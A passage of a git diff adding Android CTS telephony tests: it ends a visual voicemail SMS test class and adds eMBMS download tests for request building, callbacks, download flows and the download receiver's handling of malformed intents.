+                    future.get(EVENT_NOT_RECEIVED_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+                    throw new RuntimeException("Unexpected visual voicemail SMS received");
+                } catch (TimeoutException e) {
+                    // expected
+                    return null;
+                } catch (ExecutionException | InterruptedException e) {
+                    throw new RuntimeException(e);
+                }
+            }
+        }
+    }
+
+    @Nullable
+    private VisualVoicemailSms getSmsFromData(VisualVoicemailSmsFilterSettings settings, short port,
+            String text, boolean expectVvmSms) {
+
+        mTelephonyManager.setVisualVoicemailSmsFilterSettings(settings);
+
+        CompletableFuture<VisualVoicemailSms> future = new CompletableFuture<>();
+        MockVisualVoicemailService.setSmsFuture(future);
+
+        setupSmsReceiver(text);
+        mTelephonyManager.sendVisualVoicemailSms(mPhoneNumber, port, text, null);
+
+        if (expectVvmSms) {
+            VisualVoicemailSms sms;
+            try {
+                sms = future.get(EVENT_RECEIVED_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException | ExecutionException | TimeoutException e) {
+                throw new RuntimeException(e);
+            }
+            mSmsReceiver.assertNotReceived(EVENT_NOT_RECEIVED_TIMEOUT_MILLIS);
+            return sms;
+        } else {
+            mSmsReceiver.assertReceived(EVENT_RECEIVED_TIMEOUT_MILLIS);
+            try {
+                future.get(EVENT_NOT_RECEIVED_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+                throw new RuntimeException("Unexpected visual voicemail SMS received");
+            } catch (TimeoutException e) {
+                // expected
+                return null;
+            } catch (ExecutionException | InterruptedException e) {
+                throw new RuntimeException(e);
+            }
+        }
+    }
+
+    private void setupSmsReceiver(String text) {
+        mSmsReceiver = new SmsBroadcastReceiver(text);
+        mContext.registerReceiver(mSmsReceiver, new IntentFilter(Intents.SMS_RECEIVED_ACTION));
+        IntentFilter dataFilter = new IntentFilter(Intents.DATA_SMS_RECEIVED_ACTION);
+        dataFilter.addDataScheme("sms");
+        mContext.registerReceiver(mSmsReceiver, dataFilter);
+    }
+
+    private static class SmsBroadcastReceiver extends BroadcastReceiver {
+
+        private final String mText;
+
+        private CompletableFuture<Boolean> mFuture = new CompletableFuture<>();
+
+        public SmsBroadcastReceiver(String text) {
+            mText = text;
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            SmsMessage[] messages = Sms.Intents.getMessagesFromIntent(intent);
+            StringBuilder messageBody = new StringBuilder();
+            CharsetDecoder decoder = StandardCharsets.UTF_8.newDecoder();
+            for (SmsMessage message : messages) {
+                if (message.getMessageBody() != null) {
+                    messageBody.append(message.getMessageBody());
+                } else if (message.getUserData() != null) {
+                    ByteBuffer byteBuffer = ByteBuffer.wrap(message.getUserData());
+                    try {
+                        messageBody.append(decoder.decode(byteBuffer).toString());
+                    } catch (CharacterCodingException e) {
+                        return;
+                    }
+                }
+            }
+            if (!TextUtils.equals(mText, messageBody.toString())) {
+                return;
+            }
+            mFuture.complete(true);
+        }
+
+        public void assertReceived(long timeoutMillis) {
+            try {
+                mFuture.get(timeoutMillis, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException | ExecutionException | TimeoutException e) {
+                throw new RuntimeException(e);
+            }
+        }
+
+        public void assertNotReceived(long timeoutMillis) {
+            try {
+                mFuture.get(timeoutMillis, TimeUnit.MILLISECONDS);
+                throw new RuntimeException("Unexpected SMS received");
+            } catch (TimeoutException e) {
+                // expected
+            } catch (InterruptedException | ExecutionException e) {
+                throw new RuntimeException(e);
+            }
+        }
+    }
+
+    private static class SentSmsObserver extends ContentObserver implements AutoCloseable {
+
+        private final Context mContext;
+        private final String mText;
+
+        public CompletableFuture<Boolean> mFuture = new CompletableFuture<>();
+
+        public SentSmsObserver(Context context, String text) {
+            super(new Handler(Looper.getMainLooper()));
+            mContext = context;
+            mText = text;
+            mContext.getContentResolver().registerContentObserver(Sms.CONTENT_URI, true, this);
+        }
+
+        public void assertNotChanged() {
+            try {
+                mFuture.get(EVENT_NOT_RECEIVED_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+                fail("Visual voicemail SMS should not be added into the sent SMS");
+            } catch (TimeoutException e) {
+                // expected
+            } catch (ExecutionException | InterruptedException e) {
+                throw new RuntimeException(e);
+            }
+
+        }
+
+        @Override
+        public void onChange(boolean selfChange, Uri uri) {
+            try (Cursor cursor = mContext.getContentResolver()
+                    .query(uri, new String[] {Sms.TYPE, Sms.BODY}, null, null, null)) {
+                if (cursor == null){
+                    return;
+                }
+                if (!cursor.moveToFirst()){
+                    return;
+                }
+                if (cursor.getInt(0) == Sms.MESSAGE_TYPE_SENT && TextUtils
+                        .equals(cursor.getString(1), mText)) {
+                    mFuture.complete(true);
+                }
+            } catch (SQLiteException e) {
+
+            }
+        }
+
+        @Override
+        public void close() {
+            mContext.getContentResolver().unregisterContentObserver(this);
+        }
+    }
+
+    private static boolean hasTelephony(Context context) {
+        final PackageManager packageManager = context.getPackageManager();
+        return packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY) &&
+                packageManager.hasSystemFeature(PackageManager.FEATURE_CONNECTION_SERVICE);
+    }
+
+    private boolean hasDataSms() {
+        if (mTelephonyManager.getPhoneType() == TelephonyManager.PHONE_TYPE_CDMA) {
+            return false;
+        }
+        String mccmnc = mTelephonyManager.getSimOperator();
+        return !CarrierCapability.UNSUPPORT_DATA_SMS_MESSAGES.contains(mccmnc);
+    }
+
+    private static String setDefaultDialer(Instrumentation instrumentation, String packageName)
+            throws Exception {
+        return executeShellCommand(instrumentation, COMMAND_SET_DEFAULT_DIALER + packageName);
+    }
+
+    private static String getDefaultDialer(Instrumentation instrumentation) throws Exception {
+        return executeShellCommand(instrumentation, COMMAND_GET_DEFAULT_DIALER);
+    }
+
+    /**
+     * Executes the given shell command and returns the output in a string. Note that even if we
+     * don't care about the output, we have to read the stream completely to make the command
+     * execute.
+     */
+    private static String executeShellCommand(Instrumentation instrumentation,
+            String command) throws Exception {
+        final ParcelFileDescriptor parcelFileDescriptor =
+                instrumentation.getUiAutomation().executeShellCommand(command);
+        BufferedReader bufferedReader = null;
+        try (InputStream in = new FileInputStream(parcelFileDescriptor.getFileDescriptor())) {
+            bufferedReader = new BufferedReader(new InputStreamReader(in, StandardCharsets.UTF_8));
+            String string = null;
+            StringBuilder out = new StringBuilder();
+            while ((string = bufferedReader.readLine()) != null) {
+                out.append(string);
+            }
+            return out.toString();
+        } finally {
+            if (bufferedReader != null) {
+                closeQuietly(bufferedReader);
+            }
+            closeQuietly(parcelFileDescriptor);
+        }
+    }
+
+    private static void closeQuietly(AutoCloseable closeable) {
+        if (closeable != null) {
+            try {
+                closeable.close();
+            } catch (RuntimeException rethrown) {
+                throw rethrown;
+            } catch (Exception ignored) {
+            }
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/embms/cts/DownloadRequestTest.java b/tests/tests/telephony/current/src/android/telephony/embms/cts/DownloadRequestTest.java
new file mode 100644
index 0000000..8ab1ded
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/embms/cts/DownloadRequestTest.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.embms.cts;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.net.Uri;
+import android.telephony.cts.embmstestapp.CtsDownloadService;
+import android.telephony.mbms.DownloadRequest;
+
+import java.io.File;
+
+import org.junit.Test;
+
+public class DownloadRequestTest {
+
+    @Test
+    public void testGetMaxAppIntentSize() {
+        // Test that the max intent size is positive
+        assertTrue(DownloadRequest.getMaxAppIntentSize() > 0);
+    }
+
+    @Test
+    public void testGetMaxDestinationUriSize() {
+        // Test that the max intent size is positive
+        assertTrue(DownloadRequest.getMaxDestinationUriSize() > 0);
+    }
+
+    @Test
+    public void testBuilderConstruction() {
+        File destinationDirectory = new File(getInstrumentation().getContext().getFilesDir(),
+                "downloads");
+        Uri destinationDirectoryUri = Uri.fromFile(destinationDirectory);
+        DownloadRequest.Builder builder = new DownloadRequest.Builder(
+                CtsDownloadService.SOURCE_URI_1, destinationDirectoryUri)
+                .setSubscriptionId(-1)
+                .setServiceInfo(CtsDownloadService.FILE_SERVICE_INFO);
+        DownloadRequest request = builder.build();
+        assertEquals(request, DownloadRequest.Builder.fromDownloadRequest(request).build());
+    }
+
+    @Test
+    public void testServiceIdEquivalency() {
+        File destinationDirectory = new File(getInstrumentation().getContext().getFilesDir(),
+                "downloads");
+        Uri destinationDirectoryUri = Uri.fromFile(destinationDirectory);
+        DownloadRequest request1 = new DownloadRequest.Builder(
+                CtsDownloadService.SOURCE_URI_1, destinationDirectoryUri)
+                .setSubscriptionId(-1)
+                .setServiceInfo(CtsDownloadService.FILE_SERVICE_INFO)
+                .build();
+
+        DownloadRequest request2 = new DownloadRequest.Builder(
+                CtsDownloadService.SOURCE_URI_1, destinationDirectoryUri)
+                .setSubscriptionId(-1)
+                .setServiceId(CtsDownloadService.FILE_SERVICE_INFO.getServiceId())
+                .build();
+
+        assertEquals(request1, request2);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsDownloadCallbackTest.java b/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsDownloadCallbackTest.java
new file mode 100644
index 0000000..2706184
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsDownloadCallbackTest.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.embms.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+
+import android.telephony.MbmsDownloadSession;
+import android.telephony.cts.embmstestapp.CtsDownloadService;
+import android.telephony.mbms.DownloadProgressListener;
+import android.telephony.mbms.DownloadRequest;
+import android.telephony.mbms.DownloadStatusListener;
+import android.telephony.mbms.FileInfo;
+
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+import org.junit.Test;
+
+public class MbmsDownloadCallbackTest extends MbmsDownloadTestBase {
+    private static final long SHORT_TIMEOUT = 500;
+
+    private class TestDSCallback extends DownloadStatusListener {
+        private final BlockingQueue<SomeArgs> mCalls = new LinkedBlockingQueue<>();
+
+        @Override
+        public void onStatusUpdated(DownloadRequest request, FileInfo fileInfo,
+                @MbmsDownloadSession.DownloadStatus int state) {
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = request;
+            args.arg2 = fileInfo;
+            args.arg3 = state;
+            mCalls.add(args);
+        }
+
+        public SomeArgs waitOnStatusUpdated(long timeout) {
+            try {
+                return mCalls.poll(timeout, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+    }
+
+    private class TestDPCallback extends DownloadProgressListener {
+        private final BlockingQueue<SomeArgs> mProgressUpdatedCalls = new LinkedBlockingQueue<>();
+
+        @Override
+        public void onProgressUpdated(DownloadRequest request, FileInfo fileInfo, int
+                currentDownloadSize, int fullDownloadSize, int currentDecodedSize, int
+                fullDecodedSize) {
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = request;
+            args.arg2 = fileInfo;
+            args.arg3 = currentDownloadSize;
+            args.arg4 = fullDownloadSize;
+            args.arg5 = currentDecodedSize;
+            args.arg6 = fullDecodedSize;
+            mProgressUpdatedCalls.add(args);
+        }
+
+        public SomeArgs waitOnProgressUpdated(long timeout) {
+            try {
+                return mProgressUpdatedCalls.poll(timeout, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+    }
+
+    @Test
+    public void testFullCallback() throws Exception {
+        int sampleInt = 10;
+        TestDSCallback statusCallback = new TestDSCallback();
+        TestDPCallback progressCallback = new TestDPCallback();
+        DownloadRequest request = downloadRequestTemplate.build();
+        mDownloadSession.addStatusListener(request, mCallbackExecutor, statusCallback);
+        mDownloadSession.addProgressListener(request, mCallbackExecutor, progressCallback);
+        mMiddlewareControl.fireOnProgressUpdated(request, CtsDownloadService.FILE_INFO_1,
+                sampleInt, sampleInt, sampleInt, sampleInt);
+        SomeArgs progressArgs = progressCallback.waitOnProgressUpdated(ASYNC_TIMEOUT);
+        assertEquals(request, progressArgs.arg1);
+        assertEquals(CtsDownloadService.FILE_INFO_1, progressArgs.arg2);
+        assertEquals(sampleInt, progressArgs.arg3);
+        assertEquals(sampleInt, progressArgs.arg4);
+        assertEquals(sampleInt, progressArgs.arg5);
+        assertEquals(sampleInt, progressArgs.arg6);
+
+        mMiddlewareControl.fireOnStateUpdated(request, CtsDownloadService.FILE_INFO_1, sampleInt);
+        SomeArgs stateArgs = statusCallback.waitOnStatusUpdated(ASYNC_TIMEOUT);
+        assertEquals(request, stateArgs.arg1);
+        assertEquals(CtsDownloadService.FILE_INFO_1, stateArgs.arg2);
+        assertEquals(sampleInt, stateArgs.arg3);
+    }
+
+    @Test
+    public void testDeregistration() throws Exception {
+        TestDSCallback statusCallback = new TestDSCallback();
+        TestDPCallback progressCallback = new TestDPCallback();
+        DownloadRequest request = downloadRequestTemplate.build();
+        mDownloadSession.addProgressListener(request, mCallbackExecutor, progressCallback);
+        mDownloadSession.addStatusListener(request, mCallbackExecutor, statusCallback);
+        mDownloadSession.removeProgressListener(request, progressCallback);
+        mDownloadSession.removeStatusListener(request, statusCallback);
+
+        mMiddlewareControl.fireOnStateUpdated(null, null, 0);
+        assertNull(statusCallback.waitOnStatusUpdated(SHORT_TIMEOUT));
+        mMiddlewareControl.fireOnProgressUpdated(null, null, 0, 0, 0, 0);
+        assertNull(progressCallback.waitOnProgressUpdated(SHORT_TIMEOUT));
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsDownloadFlowTest.java b/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsDownloadFlowTest.java
new file mode 100644
index 0000000..a6fa381
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsDownloadFlowTest.java
@@ -0,0 +1,181 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.embms.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+import android.telephony.MbmsDownloadSession;
+import android.telephony.cts.embmstestapp.CtsDownloadService;
+import android.telephony.mbms.DownloadRequest;
+import android.telephony.mbms.FileInfo;
+import android.telephony.mbms.MbmsDownloadReceiver;
+
+import java.io.File;
+import java.io.InputStream;
+import java.util.Collections;
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class MbmsDownloadFlowTest extends MbmsDownloadTestBase {
+    private File tempFileRootDir;
+
+    @Before
+    public void setUp() throws Exception {
+        super.setUp();
+        tempFileRootDir = new File(mContext.getFilesDir(), "CtsTestDir");
+        tempFileRootDir.mkdir();
+        mDownloadSession.setTempFileRootDirectory(tempFileRootDir);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        recursiveDelete(tempFileRootDir);
+        tempFileRootDir = null;
+        super.tearDown();
+    }
+
+    @Test
+    public void testSingleFileDownloadFlow() throws Exception {
+        MbmsDownloadReceiverTest.AppIntentCapture captor =
+                new MbmsDownloadReceiverTest.AppIntentCapture(mContext, mHandler);
+        DownloadRequest request = downloadRequestTemplate
+                .setAppIntent(new Intent(MbmsDownloadReceiverTest.APP_INTENT_ACTION))
+                .build();
+        mDownloadSession.download(request);
+        mMiddlewareControl.actuallyStartDownloadFlow();
+
+        Uri fileUri = checkReceivedDownloadCompleteIntent(captor.getIntent(), request,
+                CtsDownloadService.FILE_INFO_1);
+        checkFileContentIntegrity(CtsDownloadService.FILE_INFO_1, fileUri);
+        checkDownloadResultAck(1);
+    }
+
+    @Test
+    public void testFileInSubdirectoryDownloadFlow() throws Exception {
+        MbmsDownloadReceiverTest.AppIntentCapture captor =
+                new MbmsDownloadReceiverTest.AppIntentCapture(mContext, mHandler);
+        DownloadRequest request = new DownloadRequest.Builder(
+                CtsDownloadService.SOURCE_URI_2, destinationDirectoryUri)
+                .setServiceInfo(CtsDownloadService.FILE_SERVICE_INFO)
+                .setAppIntent(new Intent(MbmsDownloadReceiverTest.APP_INTENT_ACTION))
+                .build();
+
+        mDownloadSession.download(request);
+        mMiddlewareControl.actuallyStartDownloadFlow();
+
+        Uri fileUri = checkReceivedDownloadCompleteIntent(captor.getIntent(), request,
+                CtsDownloadService.FILE_INFO_2);
+        // Make sure that the received file is placed in the proper subdirectory.
+        String file2RelativePath = CtsDownloadService.FILE_INFO_2.getUri().getPath().substring(
+                CtsDownloadService.SOURCE_URI_2.getPath().length());
+        assertTrue("got path: " + fileUri.getPath() + ", should end with: " + file2RelativePath,
+                fileUri.getPath().endsWith(file2RelativePath));
+        checkFileContentIntegrity(CtsDownloadService.FILE_INFO_2, fileUri);
+        checkDownloadResultAck(1);
+    }
+
+    @Test
+    public void testMultiFileDownloadFlow() throws Exception {
+        MbmsDownloadReceiverTest.AppIntentCapture captor =
+                new MbmsDownloadReceiverTest.AppIntentCapture(mContext, mHandler);
+        DownloadRequest request = new DownloadRequest.Builder(
+                CtsDownloadService.SOURCE_URI_3, destinationDirectoryUri)
+                .setServiceInfo(CtsDownloadService.FILE_SERVICE_INFO)
+                .setAppIntent(new Intent(MbmsDownloadReceiverTest.APP_INTENT_ACTION))
+                .build();
+
+        mDownloadSession.download(request);
+        mMiddlewareControl.actuallyStartDownloadFlow();
+
+        for (Intent i : captor.getIntents(2)) {
+            FileInfo fileInfo = i.getParcelableExtra(MbmsDownloadSession.EXTRA_MBMS_FILE_INFO);
+            Uri fileUri = null;
+            if (CtsDownloadService.FILE_INFO_1.equals(fileInfo)) {
+                fileUri = checkReceivedDownloadCompleteIntent(
+                        i, request, CtsDownloadService.FILE_INFO_1);
+            } else if (CtsDownloadService.FILE_INFO_2.equals(fileInfo)) {
+                fileUri = checkReceivedDownloadCompleteIntent(
+                        i, request, CtsDownloadService.FILE_INFO_2);
+            } else {
+                fail("Got unknown file info: " + fileInfo);
+            }
+            String relativePath = fileInfo.getUri().getPath().substring(
+                    CtsDownloadService.SOURCE_URI_3.getPath().length());
+            assertTrue("got path: " + fileUri.getPath() + ", should end with: " + relativePath,
+                    fileUri.getPath().endsWith(relativePath));
+            checkFileContentIntegrity(fileInfo, fileUri);
+        }
+        checkDownloadResultAck(2);
+    }
+
+
+    private Uri checkReceivedDownloadCompleteIntent(Intent downloadDoneIntent,
+            DownloadRequest downloadRequest, FileInfo expectedFileInfo) {
+        assertEquals(MbmsDownloadReceiverTest.APP_INTENT_ACTION, downloadDoneIntent.getAction());
+        assertEquals(MbmsDownloadSession.RESULT_SUCCESSFUL,
+                downloadDoneIntent.getIntExtra(MbmsDownloadSession.EXTRA_MBMS_DOWNLOAD_RESULT, -1));
+        assertEquals(downloadRequest,
+                downloadDoneIntent.getParcelableExtra(
+                        MbmsDownloadSession.EXTRA_MBMS_DOWNLOAD_REQUEST));
+        assertEquals(downloadRequest.getSubscriptionId(),
+                ((DownloadRequest) downloadDoneIntent.getParcelableExtra(
+                        MbmsDownloadSession.EXTRA_MBMS_DOWNLOAD_REQUEST)).getSubscriptionId());
+        assertEquals(downloadRequest.getDestinationUri(),
+                ((DownloadRequest) downloadDoneIntent.getParcelableExtra(
+                        MbmsDownloadSession.EXTRA_MBMS_DOWNLOAD_REQUEST)).getDestinationUri());
+        assertEquals(expectedFileInfo,
+                downloadDoneIntent.getParcelableExtra(MbmsDownloadSession.EXTRA_MBMS_FILE_INFO));
+        return downloadDoneIntent.getParcelableExtra(
+                MbmsDownloadSession.EXTRA_MBMS_COMPLETED_FILE_URI);
+    }
+
+    private void checkFileContentIntegrity(FileInfo fileInfo, Uri completedFileUri)
+            throws Exception {
+        assertEquals(fileInfo.getUri().getLastPathSegment(),
+                completedFileUri.getLastPathSegment());
+        InputStream is = mContext.getContentResolver().openInputStream(completedFileUri);
+        byte[] contents = new byte[CtsDownloadService.SAMPLE_FILE_DATA.length];
+        is.read(contents);
+        for (int i = 0; i < contents.length; i++) {
+            assertEquals(contents[i], CtsDownloadService.SAMPLE_FILE_DATA[i]);
+        }
+    }
+
+    private void checkDownloadResultAck(int numAcks) throws Exception {
+        // Poll until we get to the right number.
+        List<Bundle> downloadResultAck = Collections.emptyList();
+        long currentTime = System.currentTimeMillis();
+        while (System.currentTimeMillis() < currentTime + ASYNC_TIMEOUT) {
+            downloadResultAck = getMiddlewareCalls(CtsDownloadService.METHOD_DOWNLOAD_RESULT_ACK);
+            if (numAcks == downloadResultAck.size()) {
+                break;
+            }
+            Thread.sleep(200);
+        }
+        assertEquals(numAcks, downloadResultAck.size());
+        downloadResultAck.forEach((ack) -> assertEquals(MbmsDownloadReceiver.RESULT_OK,
+                ack.getInt(CtsDownloadService.ARGUMENT_RESULT_CODE, -1)));
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsDownloadReceiverTest.java b/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsDownloadReceiverTest.java
new file mode 100644
index 0000000..f472814
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/embms/cts/MbmsDownloadReceiverTest.java
@@ -0,0 +1,303 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.embms.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.BroadcastReceiver;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Handler;
+import android.telephony.MbmsDownloadSession;
+import android.telephony.cts.embmstestapp.CtsDownloadService;
+import android.telephony.mbms.DownloadRequest;
+import android.telephony.mbms.MbmsDownloadReceiver;
+import android.telephony.mbms.UriPathPair;
+import android.telephony.mbms.vendor.VendorUtils;
+
+import java.io.File;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Objects;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class MbmsDownloadReceiverTest extends MbmsDownloadTestBase {
+    private static final String CTS_BROADCAST_PERMISSION =
+            "android.telephony.embms.cts.permission.TEST_BROADCAST";
+    private static final String TEST_SERVICE_ID = "service_id";
+
+    public static final String APP_INTENT_ACTION =
+            "android.telephony.embms.cts.ACTION_TEST_DOWNLOAD_COMPLETE";
+
+    public static class AppIntentCapture {
+        private final BlockingQueue<Intent> mReceivedIntent = new LinkedBlockingQueue<>();
+        private final BroadcastReceiver mAppIntentReceiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                mReceivedIntent.add(intent);
+            }
+        };
+        private Context mContext;
+
+        public AppIntentCapture(Context context, Handler handler) {
+            mContext = context;
+            IntentFilter filter = new IntentFilter(APP_INTENT_ACTION);
+            mContext.registerReceiver(mAppIntentReceiver, filter, null, handler);
+        }
+
+        public Intent getIntent() {
+            return getIntent(true);
+        }
+
+        public Intent getIntent(boolean unregister) {
+            try {
+                Intent result = mReceivedIntent.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+                if (unregister) {
+                    mContext.unregisterReceiver(mAppIntentReceiver);
+                }
+                return result;
+            } catch (InterruptedException e) {
+                fail("test was interrupted");
+                return null;
+            }
+        }
+
+        public List<Intent> getIntents(int numExpected) {
+            ArrayList<Intent> result = new ArrayList<>(numExpected);
+            for (int i = 0; i < numExpected; i++) {
+                result.add(getIntent(false));
+            }
+            mContext.unregisterReceiver(mAppIntentReceiver);
+            return result;
+        }
+    }
+
+    private MbmsDownloadReceiver mReceiver;
+    private File tempFileRootDir;
+    private String tempFileRootDirPath;
+    private DownloadRequest testDownloadRequest;
+
+    @Before
+    public void setUp() throws Exception {
+        super.setUp();
+        testDownloadRequest = downloadRequestTemplate
+                .setAppIntent(new Intent(APP_INTENT_ACTION))
+                .build();
+        mReceiver = new MbmsDownloadReceiver();
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(VendorUtils.ACTION_DOWNLOAD_RESULT_INTERNAL);
+        filter.addAction(VendorUtils.ACTION_CLEANUP);
+        filter.addAction(VendorUtils.ACTION_FILE_DESCRIPTOR_REQUEST);
+        mContext.registerReceiver(mReceiver, filter);
+        tempFileRootDir = new File(mContext.getFilesDir(), "CtsTestDir");
+        tempFileRootDir.mkdir();
+        tempFileRootDirPath = tempFileRootDir.getCanonicalPath();
+        try {
+            mDownloadSession.setTempFileRootDirectory(tempFileRootDir);
+        } catch (IllegalStateException e) {
+            tearDown();
+            throw e;
+        }
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        recursiveDelete(tempFileRootDir);
+        tempFileRootDir = null;
+        super.tearDown();
+    }
+
+    @Test
+    public void testMalformedIntents() throws Exception {
+        Intent downloadCompleteIntent = new Intent(VendorUtils.ACTION_DOWNLOAD_RESULT_INTERNAL);
+        sendBroadcastAndValidate(downloadCompleteIntent,
+                MbmsDownloadReceiver.RESULT_MALFORMED_INTENT);
+
+        Intent fdRequestIntent = new Intent(VendorUtils.ACTION_FILE_DESCRIPTOR_REQUEST);
+        sendBroadcastAndValidate(fdRequestIntent,
+                MbmsDownloadReceiver.RESULT_MALFORMED_INTENT);
+
+        Intent cleanupIntent = new Intent(VendorUtils.ACTION_CLEANUP);
+        sendBroadcastAndValidate(cleanupIntent,
+                MbmsDownloadReceiver.RESULT_MALFORMED_INTENT);
+    }
+
+    @Test
+    public void testBadTempFileDirectory() throws Exception {
+        Intent cleanupIntent = new Intent(VendorUtils.ACTION_CLEANUP);
+        populateIntentWithCommonFields(cleanupIntent);
+        cleanupIntent.putParcelableArrayListExtra(VendorUtils.EXTRA_TEMP_FILES_IN_USE,
+                new ArrayList<>(0));
+        cleanupIntent.putExtra(VendorUtils.EXTRA_TEMP_FILE_ROOT, "this is not a directory path");
+        sendBroadcastAndValidate(cleanupIntent,
+                MbmsDownloadReceiver.RESULT_BAD_TEMP_FILE_ROOT);
+    }
+
+    @Test
+    public void testDownloadFailureIntent() throws Exception {
+        Intent intentForReceiverTest = new Intent(VendorUtils.ACTION_DOWNLOAD_RESULT_INTERNAL);
+        populateIntentWithCommonFields(intentForReceiverTest);
+        intentForReceiverTest.putExtra(MbmsDownloadSession.EXTRA_MBMS_DOWNLOAD_RESULT,
+                MbmsDownloadSession.RESULT_CANCELLED);
+        intentForReceiverTest.putExtra(MbmsDownloadSession.EXTRA_MBMS_DOWNLOAD_REQUEST,
+                testDownloadRequest);
+
+        AppIntentCapture intentCaptor = new AppIntentCapture(mContext, mHandler);
+
+        sendBroadcastAndValidate(intentForReceiverTest, MbmsDownloadReceiver.RESULT_OK);
+        Intent receivedIntent = intentCaptor.getIntent();
+
+        assertEquals(MbmsDownloadSession.RESULT_CANCELLED,
+                receivedIntent.getIntExtra(MbmsDownloadSession.EXTRA_MBMS_DOWNLOAD_RESULT, -1));
+
+        assertEquals(testDownloadRequest,
+                receivedIntent.getParcelableExtra(MbmsDownloadSession.EXTRA_MBMS_DOWNLOAD_REQUEST));
+    }
+
+    @Test
+    public void testBadDownloadToken() {
+        // Set up a perfectly valid download completion intent, and expect it to fail because the
+        // download token hasn't been written.
+        Intent intentForReceiverTest = new Intent(VendorUtils.ACTION_DOWNLOAD_RESULT_INTERNAL);
+        populateIntentWithCommonFields(intentForReceiverTest);
+        intentForReceiverTest.putExtra(MbmsDownloadSession.EXTRA_MBMS_DOWNLOAD_RESULT,
+                MbmsDownloadSession.RESULT_SUCCESSFUL);
+        intentForReceiverTest.putExtra(MbmsDownloadSession.EXTRA_MBMS_DOWNLOAD_REQUEST,
+                testDownloadRequest);
